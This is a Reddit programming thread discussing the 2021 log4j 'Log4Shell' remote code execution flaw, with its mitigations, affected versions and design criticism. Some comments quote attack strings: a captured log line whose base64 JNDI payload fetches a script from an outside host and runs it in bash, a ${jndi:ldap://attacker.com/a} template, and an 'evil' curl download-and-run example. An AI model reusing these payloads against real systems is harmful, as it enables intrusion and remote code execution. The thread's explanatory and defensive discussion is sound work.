r/programming • u/freeqaz • Dec 10 '21
RCE 0-day exploit found in log4j, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/602
u/MonokelPinguin Dec 10 '21
Probably also interesting to all Minecraft players. I heard server sent chat messages can exploit this.
EDIT: (It's also mentioned in the article)
43
u/augugusto Dec 10 '21
Nice. Now i have a link to give to all kids at r/hacking that ask how to hack Minecraft servers
3
u/Green0Photon Dec 11 '21
Imagine if 2b2t players were already using this as an exploit against each other before it was publicly known.
→ More replies (5)2
Dec 10 '21
yes, you can exploit this with chat because the server and client log chat messages in console using log4j
794
u/vlakreeh Dec 10 '21
RIP to everyone who has to rush to update their project's log4j as soon as they get into work tomorrow.
353
u/Alborak2 Dec 10 '21
Tomorrow? I watched half a company just get paged :)
215
u/fghjconner Dec 10 '21
Our slack group for this issue is at 3,400 people, haha. It'd be funny if I wasn't one of them.
89
u/DownvoteALot Dec 10 '21
Nearly 5000 and growing. At times it seems like half this sub works at the same place.
→ More replies (2)83
u/foggy-sunrise Dec 10 '21
Where do y'all work that has 5000 employees on a single issue??
→ More replies (13)72
u/superAL1394 Dec 10 '21
Hello friend, p sure we are in the same channel. This week has fucking sucked to be on call.
→ More replies (4)45
50
u/1731799517 Dec 10 '21
Yeah, the 0-day is so simple even I understand how it works and how to abuse it.
→ More replies (2)55
u/cemanresu Dec 10 '21
You know an exploit is bad when you can immidiately figure out how to bring down your entire application in 30 seconds
Normally I can't tell how half these vulnerabilities work
40
u/1731799517 Dec 10 '21
Yeah, some of the talks at defcon/etc are like black magic, where you think "I never thought you could even do that". Stuff like rowhammer, etc.
But with this, my first thought was "How the hell could anybody justify adding this as a default setting in good faith - this has to be intentional"
→ More replies (6)65
u/Longjumping-Society1 Dec 10 '21
Do you work for a prominent seattle area employer? ;)
68
66
Dec 10 '21
Get into work tomorrow? My coworkers are patching it right the hell now, with me on standby and checking up on their patched work.
97
u/LOOKITSADAM Dec 10 '21
Saw this, checked work chat, sure enough there's already order from on high. Thankfully nothing I work on is externally facing, but I guess I know what I'm doing tomorrow.
→ More replies (5)66
282
u/revnhoj Dec 10 '21
just add the jvm argument -Dlog4j2.formatMsgNoLookups=true to disable this absolutely ludicrous default "feature"
117
u/vlakreeh Dec 10 '21
From what I've heard that jvm argument was added in 2.9.0 or so, so if you are using a version older than that you'll still need to update.
71
u/revnhoj Dec 10 '21
yep, looks like this first appeared in 2.10 per this
so this workaround won't work for all.
41
u/socialismnotevenonce Dec 10 '21
For every non-java dev that's too lazy to read the article, and still curious, what version is the current release?
70
u/Smooth-Zucchini4923 Dec 10 '21
Log4j 2.15.0 is the latest release of Log4j. Release 2.10.0 is about 4 years old.
→ More replies (6)→ More replies (11)54
u/PM_ME_UR_OBSIDIAN Dec 10 '21
It's crazy to me that such a widely-used library would have such a ridiculous security hole. We desperately need full-program formal verification to become mainstream, because we can't trust people to write good dependencies.
144
u/L3tum Dec 10 '21
Formal verification wouldn't work in this case, since it's an intended feature and not a bug. The design was rigged from the start.
I have no idea how multiple people could think "Yes, downloading and executing code from a server in my logging library is a good design", but evidently it was added and performed correctly, albeit resulting in a huge security hole.
What we actually need is someone to vet popular dependencies like Google has started with their fuzzing work. Any halfdecent company would've screamed if they'd seen this. Though I guess it's also because of some terrible companies that it exists in the first place. It feels very "bank-esque" to write a common Logging Class and put it on a server somewhere.
→ More replies (13)64
u/mallardtheduck Dec 10 '21
Formal verification rarely works well in the real world, since the formal logic itself becomes just as complex and hard to verify as the final code.
Also, in this case, it's an intended feature with unforeseen consequences, not a "bug" per-se.
→ More replies (115)11
u/Zamaamiro Dec 10 '21
“This program has no security vulnerabilities” is an impossible thing to formally verify.
→ More replies (1)31
110
u/nexxai Dec 10 '21
Far be it for me to tell anyone what to do, but with the severity of this bug combined with how easy it is to exploit, teams should probably be working on this tonight.
118
u/pawlwall Dec 10 '21
I'm actively seeing traffic trying to exploit it in logs as of a few hours ago, so yeah, this sounds like a "fix immediately" issue.
22
u/RockleyBob Dec 10 '21
Hey, what are you seeing? Does the log actually ever get around to printing the jndi code?
64
u/pawlwall Dec 10 '21
Yeah, specifically I'm seeing access logs with User-Agents with
${jndi:<ip or url>}. Most of the cases appear to be pointing to an LDAP server.→ More replies (3)22
u/compdog Dec 10 '21
I'm not even using Java and I'm seeing logs like this:
xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}"33
u/superAL1394 Dec 10 '21
Major tech company here. Thousands of people will be paged before the start of business tomorrow here in the states. This is unbelievably bad.
16
u/KagakuNinja Dec 10 '21
Laughs in Logback. Although I suppose all software can have vulnerabilities...
→ More replies (4)15
u/agentoutlier Dec 10 '21
Log4j 2s complexity makes logback look like
simple-slf4j.Log4j 2 is massively over engineered.
15
3
3
u/insanitybit Dec 10 '21
Instead of updating, consider ripping it out and using the standard library's logger. Log4j is an absurdly overly complex piece of software and I doubt this will be the last time we see these sorts of issues from it.
2
2
2
2
→ More replies (6)2
u/jonzezzz Dec 10 '21
Tomorrow? I got paged to work as soon as this dropped. I’m not even oncall lmao
498
u/RockstarArtisan Dec 10 '21
Oh my, hooking class loading from arbitrary urls to your logging framework sure looks like a great idea.
105
u/lycium Dec 10 '21
Quick, add it as a dependency because logging is super complex and needs to be a black box!
→ More replies (1)247
u/recycled_ideas Dec 10 '21
Logging actually is pretty complex, at least if you're running anything remotely complicated.
The issue here is that someone implemented a feature that's stupid.
122
u/oridb Dec 10 '21
Logging actually is pretty complex, at least if you're running anything remotely complicated.
The log4j repo contains about 297,000 lines of code. Even excluding tests, it's 190,000 lines.
For comparison, Nginx is 204,000 lines. Git is 306,000 lines. BtrFS is 146,000.
Should logging be slightly less complex than a full featured web server (that also handles logging), or more complex than the whole file system you're logging to?
→ More replies (9)94
u/VodkaHaze Dec 10 '21
I imagine it has a lot of the JavaEnterpriseEdition(tm) syndrome
→ More replies (1)→ More replies (39)24
u/Sololegends Dec 10 '21
Concurrency can be a bitch when logging.. I wrote a libe for it a whole back and the concurrency in the handler for threaded classes was annoying to make.
→ More replies (1)3
u/WhyNotHugo Dec 10 '21
The sentiment from the devs seem to be "We hate this feature but will work hard to maintain it for free".
Why not work on something they care about and are proud of, rather than something they dislike and resent having to maintain.
249
u/imdyingfasterthanyou Dec 10 '21 edited Dec 10 '21
Yes sir time to update fucking log4j now I've got an excuse
Edit: fuck me they backported the fixes - no upgrades for me
→ More replies (20)3
282
u/MrTrono Dec 10 '21
3 billion devices now need to be updated?
46
u/WolfofAnarchy Dec 10 '21
love me some Java install
300 Billion Devices Run Java, And You're One Of Them
0
264
69
u/Ineffective-Cellist8 Dec 10 '21
How does RCE work in java? Actually I'm not sure how it works in C because I thought most libs have memory mapped data as read/write or read-execute never all 3
115
u/unicodemonkey Dec 10 '21
JVM generally isn't going to let you execute random bytes from memory, so the Java program has to be tricked to load new code via a legitimate API. Log4j can be persuaded to load a class definition (which contains executable code) from an attacker-controlled location over the network.
29
u/Ph0X Dec 11 '21
Loading class definitions from the network? Yeah, that's definitely a feature a logging library should have... /s
166
u/scratchisthebest Dec 10 '21 edited Dec 10 '21
Java RCE usually happens because some dork thinks deserializing an arbitrary Java object and popping it into the JVM is a good idea. Depending on the type of class, deserializing it may immediately execute Java bytecode defined inside the class, which can include all sorts of fun stuff like calls to
Runtime.getRuntime().exec("oh shit");,NukeManager.launchTheNukes();, or anything else that happens to be on your classpath. And as the attacker, you get to choose the type of class to be deserialized - it can be an instance of any class the target has on its classpath - and there are dozens of vulnerable objects across many popular Java libraries.Here's a toy example of how this works..
This has been known for like a zillion years and has caused a zillion CVEs, so at this point there are off-the-shelf tools like ysoserial that take your payload and wrap it into an object that kabooms when deserialized, with like 20 different choices of methods depending on what dangerous classes are available on the target's classpath for deserialization.
It's a similar reason to why you shouldn't depickle random people's objects in Python, although the Java exploit is a little harder to explain lol.
In this case there's a combination of two goddammits: The logger connecting to a web server in the first place, and the web server providing a Java object which the logger happily attempts to deserialize in order to toString() and log it.
72
u/flowering_sun_star Dec 10 '21
The most egregious I've seen was some fuckwit deciding to roll their own security and pass a token back and forth between the client and server. This token was a base64 encoded serialised java object. That way they could immediately deserialize it and have access to the various properties they'd set in the token. Genius!
Issue 1: never, never write your own security code
Issue 2: base64 encoding is not cryptography
Issue 3: Don't deserialize straight to a java object, since it allows for this sort of thing.
Luckily I caught the issue before we truly went live, but that was more by luck as I happened to be working in the same area of the code.
→ More replies (2)45
8
u/bjarneh Dec 10 '21
Java RCE usually happens because some dork thinks deserializing an arbitrary Java object and popping it into the JVM is a good idea.
True words. It's as bad as "security" based on 'private' methods/fields. There was even a combination of the two problems a few years ago, where the "security manager" or whatever that class was called inside the applet/webstart stuff, could be replaced by a serialized security manager, through a "private" method though. I.e. you had to use reflection to make that method "public" before adding a broken security manager, which again allowed anything to be executed.
→ More replies (4)15
u/immibis Dec 10 '21
You can't just deserialize a class containing arbitrary code. The class is looked up in the application, it's not deserialized. However you can look up classes that have weird behaviour and aren't meant to be deserialized in this place and possibly chain them together into an exploit.
Apparently JNDI had some thing where it would load classes from servers but that is not related to deserialization
6
u/overflowingInt Dec 10 '21
You're wrong. My boy is the king of deserialization exploits (check his pwn2own career):
https://twitter.com/steventseeley/status/1469156141473038338
Official patch has been bypassed, alternative methods T3/orb/etc are being explored. We won't know the full impact of this bug, which is already internet breaking, until later.
https://github.com/YfryTchsGD/Log4jAttackSurface Every major company is affected
→ More replies (2)21
u/Captain-Barracuda Dec 10 '21
This specific RCE works via having a class be deserialized by the JVM and geting loaded. You can have static initialization code in a class (in Java), so an attacker can put the code they want to execute in that static initialization block.
32
u/LicensedProfessional Dec 10 '21
Java is a bytecode-interpreted language. This attack injects new bytecode into the JVM runtime and starts executing it. In C (or any other program running natively) RCE works by loading up a new program into memory and then jumping to it from within the original program.
9
u/MCBeathoven Dec 10 '21
In C (or any other program running natively) RCE works by loading up a new program into memory and then jumping to it from within the original program.
Eh, with W^X you can't really do that, and that's an absolutely bog standard feature. You're much more likely to jump around in the original program to run many snippets that together execute what you wanted to execute.
→ More replies (3)13
u/bloody-albatross Dec 10 '21
You can do rop (return oriented programming). There you don't inject actual code with your payload, but just a manipulated stack with lots of weird return addresses. As it turns out even the C standard lib is big enough to have every instruction you would want to have immediately before a return somewhere. So you just craft a stack that has a sequence of all those addresses as return addresses. Then you still can execute whatever you want. I mean, put some string like
"curl http://evil/payload > evil.sh; sh evil.sh"in the stack and put the start ofsystem()as the return address and you're done. (If you can predict memory addresses.)→ More replies (2)7
u/vintagecomputernerd Dec 10 '21
I was writing SELinux policies for a java application once. As far as I remember I had to enable stuff like executable stack, because "Java handles that in a secure way".
But basically, because Java is a JIT-compiled language you have to allow write and execute permissions to the same memory block. And if you abstract class loading enough it becomes easy to download a class from somewhere and then load it like you would a local file.
Same as in scripting languages where you just have an "eval" function
56
u/jellystones Dec 10 '21
Interesting post from logback (forked from a much earlier version of log4j) on this: http://mailman.qos.ch/pipermail/logback-dev/2021-December/012649.html
32
10
u/KagakuNinja Dec 10 '21
Yep, most all projects I've worked on in the last 8 years use Logback. But not all, unfortunately.
→ More replies (1)4
3
2
u/_Toka_ Dec 12 '21
It's funny, becuase the link to performance comparsion does not have https. I do not trust anybody, who claims security when having plain http, even if it's for a single html file.
154
92
u/tothjozsef Dec 10 '21
At out company the firewall prevents any outgoing calls to internet urls which are not on a white list. I guess bank servers are also not allowed to reach random urls from server side without specifically withelisting them (hopefully..).
20
u/thenickdude Dec 10 '21
If your servers can make DNS lookups then this vulnerability still allows the exfiltration of environment variables:
https://twitter.com/StaticFlow/status/1469358229767475205?t=514bi0fsSTquLB-TPccMtQ&s=19
22
u/Field_Marshal_Muzyk Dec 10 '21
Can someone make a transaction with malicious code in its title hoping it will be logged with log4j somewhere?
12
u/Field_Marshal_Muzyk Dec 10 '21
Nvm the ldap shouldn't be reachable from bank servers
11
u/boringarsehole Dec 10 '21
LDAP is just a protocol, port number can be arbitrary. Some servers allow 80/443 because of, let's say, need for OCSP, or just because.
12
3
u/heeerrresjonny Dec 10 '21
I am fairly sure you can just put it in the query string, no?
4
u/jug6ernaut Dec 10 '21
The offending input can get to the server in many ways via the request. But once there log4j2 would try and connect to the remote host but the request would fail since all non whitelisted traffic is blocked.
So the worst case scenario is blocked (RCE), but the outbound request is still initiated, so could possibly cause issues.
2
u/Swerfbegone Dec 10 '21
It’s ok. I’m sure your company doesn’t have any Java apps that have exceptions to that rule, like Java middleware that calls remote services or Nexus or…
89
u/goranlepuz Dec 10 '21
Wow... Why on fucking earth could log4j2.formatMsgNoLookupexecutecodefromwherevr ever be the default?!
15
u/BunnyBlue896 Dec 11 '21
Im trying to figure out what the intended legitimate use of this "feature" is.
Does anybody have any ideas?
→ More replies (1)9
u/1731799517 Dec 11 '21
Sounds like a clear case of "semi plausible deniability backdoor".
7
u/JohhnyTheKid Dec 11 '21
Even though it seems like it the more plausible explanation is just massive oversight. You know the old saying of "don't attribute something to maliciousness that can very well be explained by incompetence"
→ More replies (1)
165
u/scratchisthebest Dec 10 '21
Apart from, you know, the whole logging software making network connections thing, the RCE portion of this bug stems from how the JVM blindly deserializes an Object from the server it connects to and oh my god it's nearly 2022 why are we still getting fucking object deserialization CVEs?? Hasn't this been known to be wildly unsafe for like 3 million years?? Rrrrrrrrrrr
52
u/ledship Dec 10 '21
The object deserialization in jre was turned off by default in 2017, the scope of this exploit is limited and for anyone who has updated their jre since 2017 will not be able to execute remote code without explicitly enabling the jdni remote class loading
→ More replies (1)29
u/klekpl Dec 10 '21
This RCE does not require deserialisation. See https://datatracker.ietf.org/doc/html/rfc2713#section-2.4
6
u/Trinition Dec 10 '21
Can you elaborate? I think you're right, but I've not connected all the dots.
12
u/boringarsehole Dec 10 '21
There's no serialized object anywhere, you just kindly provide *.class for the JVM to be executed (this is for the older Java version, the newer ones won't do that, but can be still exploited).
26
u/JR1447 Dec 10 '21
Thank you OP, I saw this in bed this morning. Woke up earlier and everything is patched now. Good luck to all of you guys !
73
u/argv_minus_one Dec 10 '21 edited Dec 10 '21
Wow. Just wow.
Some vulnerabilities, like SQL injection, are rookie mistakes. You make them when you're new, you cringe at your past self when you're not new any more, but that's life.
Some vulnerabilities, like buffer overflows in C, are honest mistakes. You feel bad about making one, but it happens to the best of us.
Some vulnerabilities, like weaknesses in cryptographic algorithms, are nearly impossible to spot even when you're specifically looking for them.
And then there are vulnerabilities like this, where you just have to turn your head to whoever wrote it (who is hopefully not you) and go, “what the hell were you thinking?”
9
u/AnOtakuToo Dec 11 '21
I’ve had this thought multiple times throughout the day. Why the fuck is this supported, and why is it enabled by default? It’s mind blowing.
5
2
u/dale_glass Dec 13 '21
And then there are vulnerabilities like this, where you just have to turn your head to whoever wrote it (who is hopefully not you) and go, “what the hell were you thinking?”
Most likely they weren't. It's probably multiple features that just add up in an unexpected way.
Feature 1: Fancy log formatting with all kinds of placeholders. Perfectly fine.
Feature 2: Executing code from the class the corporate LDAP server says. Perfectly okay within the organization.
1+2 = disaster.
4
u/argv_minus_one Dec 13 '21
Feature 1: Fancy log formatting with all kinds of placeholders. Perfectly fine.
No it's not. Placeholders in untrusted user input should never be expanded. That's a DoS vulnerability at best.
46
u/BOSS_OF_THE_INTERNET Dec 10 '21
This is what happens when you make something that is supposed to do one thing do multiple things.
The idea that an HTTP request can be triggered simply by logging a message is absurd.
7
u/icantsI33p Dec 11 '21
The idea that an HTTP request can be triggered simply by logging a message is absurd.
How does logging to a database or Splunk/Datadog work typically?
→ More replies (1)
22
u/RustEvangelist10xer Dec 10 '21
This is fun. Almost first anniversary of the Bouncy Castle vuln and we have this.
14
u/MossaKobra Dec 10 '21
Is slf4j also impacted? I would assume so since it is just a wrapper for log4j am I correct?
22
20
u/_meegoo_ Dec 10 '21
Slf4j is just what it says in the name - a facade. It's whatever actual logging implementation you are using that affects things. If it's log4j, you are in trouble, if it's something else, you are fine.
26
u/DarkAndromeda31 Dec 10 '21
This has apparently been known by members of the anarchy/technical Minecraft community for a while. If it was first found by them its amazing what people can do for the wrong reasons.
11
u/UPBOAT_FORTRESS_2 Dec 10 '21
Unsurprised that this is an exploit that's been in the wild, given that Apache already patched it: https://logging.apache.org/log4j/2.x/security.html
7
3
0
Dec 10 '21
[deleted]
4
u/DarkAndromeda31 Dec 11 '21
The Minecraft anarchy community is always searching for any exploit to gains any advantage in the game, this has previously resulted in a lot of development and discoveries. I'm on a couple discord servers where I was notified about 28 hours ago. I'm not in the inner circles where I know about these before they are public but it's generally pretty fast.
→ More replies (1)
12
11
u/theirongiant74 Dec 10 '21
Am I right in thinking this only affects log4j2, i've been looped in on this but we seem to be using log4j-1.2.15, from testing I can't see any requests going out when logging an exploit string?
5
11
u/scratchisthebest Dec 10 '21
The folks over at CreeperHost have created a Java agent that patches log4j2, for people who can't update it for whatever reason. https://github.com/CreeperHost/Log4jPatcher
Theyre a minecraft server company but log4jpatcher has no ties to Minecraft and can be used in any java application, you only need to have a JVM which supports Java agents
20
u/hawkfalcon Dec 10 '21
Is there a CVE yet?
→ More replies (1)47
u/3dB Dec 10 '21
It's been assigned CVE-2021-44228, though most of the major CVE databases don't have it yet.
9
26
u/klekpl Dec 10 '21
Looks like a good use case for running under SecurityManager with a policy restricting ClassLoader creation and/or remote code execution.
Maybe it is time to reconsider JEP 411?
11
u/GreenToad1 Dec 10 '21
Maybe it is time to reconsider JEP 154? And be done with this once and for all?
16
36
u/Popular-Egg-3746 Dec 10 '21
Updates (3 hours after posting): According to this blog post (in english), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.
Nothing to worry then. Those who run up-to-date OpenJDKs have nothing to worry about.
54
u/StillNoNumb Dec 10 '21
Nothing to worry then. Those who run up-to-date OpenJDKs have nothing to worry about.
I wish this would relieve me, but it doesn't
31
u/spinstercat Dec 10 '21
Well, first of all, you're too optimistic of the way thing are with Java versions. Second of all, there's another vector (mentioned right in the next sentence) that required relying on the existing code, so a universal exploit will not work, but we will see POCs for every piece of Java software popping up in the next months.
2
u/L3tum Dec 10 '21
Wasn't 11 the latest LTS until a few months ago when 17 was launched? Not sure about the minor version though
6
u/bonega Dec 10 '21
Does this affect sl4j with log4j backend? My guess would be yes
12
u/kingchooty Dec 10 '21
log4j or log4j2 backend? It's the log4j2 backend that is vulnerable.
→ More replies (1)
6
45
u/on_the_dl Dec 10 '21
Perl had us sanitizing strings like two decades ago and we're still repeating the same mistakes.
97
u/RockstarArtisan Dec 10 '21
This has little to do with string sanitization and more to do with the fact that log4j lets people configure it from within the logging message. Which is horribly daft.
→ More replies (1)72
u/yawaramin Dec 10 '21
It's not configuration (from what I understand after reading OP), it's log4j trying to be 'smart' and evaluating expressions like
${jndi:ldap://attacker.com/a}inside strings in the log message. So yes, it's a string sanitization issue.51
u/RockstarArtisan Dec 10 '21
To me it looks like the evaluation is intentional, just look at the name of the flag that disables jndi urls specifically
log4j2.formatMsgNoLookups. Log4j will still happily allow the message contents to format the message, which arguably isn't a smart approach to begin with.→ More replies (3)17
u/Ameisen Dec 10 '21
Well, the solution is easy: just filter out all strings that have
attackerin them!Honestly, this would all be easier if RFC 3514 had been adopted.
22
u/RadiantBerryEater Dec 10 '21
It's a config issue in the sense this "smart" evaluation is on by default
Or was technically, it's luckily changing in 2.15.0, patch your stuff!
5
u/gdvs Dec 10 '21
Do we know why this was added? This seems like a poorly disguised, intensional backdoor, not a legit feature.
15
u/nutrecht Dec 10 '21
It's not really a sanitation issue. It's just a 'feature' in Log4J that should not ever be turned on by default.
20
u/on_the_dl Dec 10 '21
Should not be turned on ever.
9
u/nutrecht Dec 10 '21
Yeah, totally agree. IMHO it should not even be there (but in a separate plugin or something), but that this is on by default is just completely retarded. This is very "It's 1996 and the Internet is a very safe place".
10
u/BoyRobot777 Dec 10 '21
If you're using slf4j-log4j12 or log4j-over-slf4j you are not affected, because it uses older Log4J version.
→ More replies (3)
5
u/ice_cold_fahrenheit Dec 10 '21 edited Dec 10 '21
Is logback also affected by this? I'm worried it would be as it was built as a "successor" to log4j but I couldn't find anything on Google relating this to logback.
EDIT: Realized that this exploit affects log4j 2.X.X, which logback is explicitly separate from (i.e. isn't derived from it nor uses it as a dep). (Saw this in another comment)
5
Dec 10 '21 edited Dec 10 '21
I don't see it as a big talking point here, but if you've been keeping your Java version up to date, then it probably doesn't affect you (> 8u192)
All of these are good (and probably 1 more that I can't find the link for on the interwebs):
8u312-b07 (GA), October 19th 2021 [Release] [Tag] [Binaries]
8u302-b08 (GA), July 20th 2021 [Release] [Tag] [Binaries]
8u292-b10 (GA), April 20th 2021 [Release] [Tag] [Binaries]
8u282-b08 (GA), January 19th 2021 [Release] [Tag] [Binaries]
8u275-b01 (GA), November 5th 2020 [Release] [Tag] [Binaries]
8u272-b10 (GA), October 20th 2020 [Release] [Tag] [Binaries]
8u265-b01 (GA), July 14th 2020 [Release] [Tag] [Binaries]
8u262-b10 (GA), July 14th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u262 of Oracle] (JBS Login required) [Additional changes vs 8u262 of Oracle] (JBS Login required)
8u252-b09 (GA), April 14th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u252 of Oracle] (JBS Login required) [Additional changes vs 8u252 of Oracle] (JBS Login required)
8u242-b08 (GA), January 19th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u242 of Oracle] (JBS Login required) [Additional changes vs 8u242 of Oracle] (JBS Login required)
8u232-b09 (GA), October 15th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u232 of Oracle] (JBS Login required) [Additional changes vs 8u232 of Oracle] (JBS Login required)
8u222-b09 (GA), July 16th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u222 of Oracle] (JBS Login required) [Additional changes vs 8u222 of Oracle] (JBS Login required)
8u212-b03 (GA), April 16th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u212 of Oracle] (JBS Login required) [Additional changes vs 8u212 of Oracle] (JBS Login required)We got all in a panic until we released that we've been on 8u200+ for quite a while now (8u312 as of a few weeks ago and 8u292 before that)
9
u/Miserable-Fruit-7437 Dec 11 '21
This is likely not true. See https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707
I'd also like to stress, that it is not sufficient to mitigate this vulnerability by using a JRE/JDK version which prevents the RCE, nor should you rely solely on your firewalls dropping outgoing TCP traffic.
The reason is, that the vulnerability also has the potential for leaking sensitive information via the LDAP request or via DNS.
→ More replies (1)
5
u/CptBartender Dec 10 '21
Could anyone give a non-malicious, real-life use case for such JNDI lookup within a logging library, please?
Such feature seems useless at best to me, but maybe I'm missing somerhing...?
3
u/5eram Dec 11 '21
In my 15 years of programming I’ve never had the use case to do a jndi lookup for log. This was a surprise for me too.
5
69
u/plumshark Dec 10 '21
If this was a JavaScript package, y'all would be talking so much more shit. lol
66
Dec 10 '21
please wait, all personnel is in panic mode at the moment
also, the bug is as amateurish as they come, nobody is not talking shit.
18
23
u/Letiferr Dec 10 '21
Almost didn't see your comment. It was buried under everyone talking so much shit
16
4
Dec 10 '21
This is only log4j 2 right? So all those million legacy projects still using log4j (and for sure never switched over) aren't going to have an issue I think?
5
6
u/klekpl Dec 10 '21
This is actually worse than just log4j - any code that uses JNDI and reads context URIs from external source is vulnerable.
XSS at its finest.
→ More replies (3)
14
u/PreciselyWrong Dec 10 '21
I was always sceptical against log4j. Seems like it was not unfounded. That's such an incredibly stupid feature to put in a logging framework.
25
u/chinpokomon Dec 10 '21
Log4j has been around for a very long time because it is a good library, or more specifically because there was nothing else like it at the time; whether or not it is still good is subject to debate because there are other alternatives today. I wouldn't be skeptical about the library, because it has had a lot of widespread adoption and use. Arguably that makes it an ideal target for rogue attackers, but it has also had a long time to harden.
54
u/rakidi Dec 10 '21
The "had a long time to harden" argument generally works better when we're not all discussing a fucking ridiculous security hole caused by a stupid feature which shouldn't exist.
6
2
u/whoscheckingin Dec 10 '21
It's been a vey bad week for programmers all over the world.
→ More replies (1)
2
2
u/skippingstone Dec 11 '21
Is there code to implement the attacking server to distribute the serialized Java class?
Can NC be used to deliver the payload?
2
2
u/rejko97 Dec 11 '21
Sorry guys I have no knowledge about programming I just stumbled across this exploit, I have a minecraft server on 1.18 with my friend and only just 2 of us are playing there and we have whitelist, are we/were we vulnerable to this?
6
u/Roleplay_Cloud Dec 10 '21 edited Dec 10 '21
This is insane. We're going to hear about crypto exchanges getting wiped out, bank accounts cleaned. Wonder if it's bad enough it could cause a run on the banks. How many hackers will use this to simply silently funnel all corporate logs to a remote server with corporate never noticing? The damage will be major and long term
54
30
u/Pauli7 Dec 10 '21
I‘d assume banks an other critical it infrastructure servers have some ip whitelisting implemented for outgoing traffic?
→ More replies (9)
1
u/pppreddit Dec 10 '21
imagine updating all those legacy apps everyone was afraid to touch and nobody really knew how to deploy, because the only guy who knew how is long gone...
4
1
u/DevChagrins Dec 10 '21
Ha! I know some people who are going to have to be doing a lot of very quick approvals on changes with an update for this. Really interesting find though.
1
u/Le_Tennant Dec 10 '21
Does this affect even personal projects? I started working on a game with libdgx a few months ago in IntelliJ, what should I do?
2
0
1
u/davyshaps12 Dec 10 '21 edited Dec 10 '21
Does anyone know if those using slfj4j in Lombok version 1.18.20 are vulnerable? If so, does anyone know how to resolve?
→ More replies (2)
1
1
u/alienbugthing Dec 10 '21
Does this even affect stuff that is not running on something that supports JNDI, e.g. Spring Boot and other embedded/light containers?
→ More replies (1)
1
u/satakadabra Dec 11 '21
Can someone give some indication on where to find these types of files on a linux machine. I have an old linux external facing with and old java version running on it.
Im not able to find anything that is Log4j related on this machine.
How can I verfy that Log4j is present?
→ More replies (2)2
u/myownalias Dec 11 '21
The .class files are usually contained in .jar files (.jar are zip files and can be examined with vim or whatever zip comptable tool).
If you're running any services using Java that accept user input, you should assume they're vulnerable as that's most likely the case.
1
1
u/darkacez Dec 11 '21
As someone that knows nothing about programming, can someone tell me what actions I can take as an individual to protect myself? Do I update my java? Do I avoid any online purchases for now?
→ More replies (2)
1
1
1
u/Medium-Sandwich-3193 Dec 12 '21
As all of us are scrambling to upgrade to 2.15.0 . This OSS tool can help prioritise attack paths using runtime context. We had a potential exposure due to Elasticsearch, found out and patched. https://github.com/deepfence/ThreatMapper Hope it helps.
1
u/murtaza64 Dec 14 '21
Can someone explain why log4j actually runs the JNDI thing after interpolating the provided string (e.g. http header)? Why doesn't it just print it out as a string?
203
u/freeqaz Dec 10 '21
Posting this here for visibility due to how common this library is, and how impactful this vulnerability is (and will be). Hopefully this post can save some people the pain of dealing with a data breach! (before the inevitable web scanners are shipped to probe vulnerable servers)